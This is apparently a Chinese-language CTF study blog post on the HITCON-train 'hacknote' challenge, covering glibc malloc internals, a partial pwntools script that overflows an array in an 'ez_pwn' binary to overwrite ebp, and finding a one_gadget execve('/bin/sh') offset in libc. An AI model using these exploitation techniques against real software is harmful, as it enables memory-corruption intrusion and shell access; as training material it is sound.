wtf

WTF is white tight feet.

  1. 1. The workflow of malloc
  2. 2. Mechanism of glibc malloc
  3. 3. one_gadget

一个写笔记的程序,下面是程序的一些功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ ./hacknote 
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :12
Content :wtffff
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
wtffff

----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :4

因为想去弄懂一些细节,所以在GitHub上搜到了源代码。

顺便看看并总结angelboy大神的幻灯片,分享收获。

The workflow of malloc

  • 第一次执行 malloc

image-20220518230240720

  • 无论一开始 malloc 多少空间 < 128 KB 都会有 kernel 给132 KB 的 heap segment (rw) 这部分为 main arena

image-20220518225637309

  • 第二次执行 malloc 时,只要分配的空间大小不超过 128 KB,则不再执行 system call 跟系统要空间,超过大小才会有 brk 从kernel 索要空间存储。
    • 即使 free 掉所有 main arena 分配的空间,也不会立即还给 kernel
  • 这时存储空间由 glibc 管理

Mechanism of glibc malloc

  • Chunk
    • glibc 在用作存储管理时的数据结构
    • malloc 时分配出去的为一个 chunk
    • chunk header(prev_size + size)+ user data
    • 如果该 chunk 被 free 则会将 chunk 加入叫做 bin 的链表里
  • 分类
    • ​ Allocated chunk
    • ​ Free chunk
    • ​ Top chunk
  • heap

image-20220518231006560

  • Allocated chunk
    • prev_size
      • 如果上一个的 chunk 是 freed,则该位置上会存有上一个 chunk 的 size(包括 header)
      • 这里指的上一个是在连续存储的上一个
    • size
      • 该 chunk 大小,其中有三个 flag
        • PREV_INUSE (bit 0): 上一个 chunk 是否不是 freed
        • IS_MMAPPED (bit 1): 该 chunk 是不是由 mmap 所分配出去的
        • NON_MAIN_ARENA (bit 2): 是否不属于 main arena

image-20220518231653721

  • free chunk

    • prev_size
    • size
    • fd : point to next chunk(包括 bin)
      • 这里指的是链表中的 next chunk,而非连续存储的 chunk
    • bk : point to last chunk(包括 bin)
      • 这里指的是链表中的 last chunk,而非连续存储的 chunk
    • fd_nextsize : point to next large chunk(不包含 bin)
    • bk_nextsize : point to last large chunk(不包含 bin)
  • freed chunk

image-20220518232149688

  • top chunk
  • 第一次 malloc 时就会将 heap 切成两块 chunk,第一个 chunk 就是分配出去的 chunk,剩下的空间被视为 top chunk,之后要是分配空间不足时会有 top chunk 切出去
    • prev_size
1
2
3
4
5
6
7
8
9
10
11
def l():
for i in range(0, 12):
add(-1)
# pause()
add(11)
add(13)
add(-1)
add(-1)
add(-1)

l()# 覆盖ebp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import *
path = './ez_pwn'
elf = ELF(path)
io = elf.process()
menu = lambda x:io.sendlineafter(b'input your choice:', str(x).encode())
io.sendlineafter(b'input the length of array:', b'-1')
def add(num):
menu(1)
io.sendlineafter(b'input num', str(num).encode())
# io.recv()
# io.sendline(b'1')
# io.recv()
# io.sendline(b'-1')
# menu(1)
def getsum():
menu(2)
def getavg():
menu(3)
def l():
for i in range(0, 12):
add(-1)
# pause()
add(11)
add(13)
add(-1)
add(-1)
add(-1)

l()
# pause()
# add(15)
# pause()
# add(15)
# pause()
# add(-1)
# menu(1)
# io.sendlineafter(b'input num', b'-1')
# menu(1)
# io.sendlineafter(b'input num', b'-1')
pause()
# _libc_main_got = 134529052
# add(_libc_main_got)
# pause()
# getsum()
# pause()
io.interactive()# b *hackme + 202 main: 0xf7d43de0

one_gadget

  • strings
1
2
3
-> strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
18ac40 /bin/sh
&"/bin/sh": 0x18ac40
  • 用 objdump 打开 libc.so.6
1
objdump -d libc.so.6 | grep 18ac40 -A 7 -B 3
1
2
3
4
5
6
7
8
45575:		call		35a60 <sigprocmask@@GLIBC_2.2.5>
4557a: mov rax, QWORD PTR [rip+0x37b937]
45581: lea rdi,[rip+0x1456b8] # 18ac40
45588: lea rsi,[rsp+0x30]
4558d: mov DWORD PTR [rip+0x37dee9],0x0
45597: mov DWORD PTR [rip+0x37dee3],0x0
455a1: mov rdx,QWORD PTR [rax]
455a4: call cd760 <execve@@GLIBC_2.2.5>

One Gadget: 0x4557a

execve(“/bin/sh”, rsp+0x30, environ);

本文作者 : wtfff
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-SA 4.0)进行许可。This blog is under a CC BY-NC-SA 4.0 Unported License
本文链接 : http://im0use.github.io/2022/05/18/HITCON-train-hacknote/

本文最后更新于 天前,文中所描述的信息可能已发生改变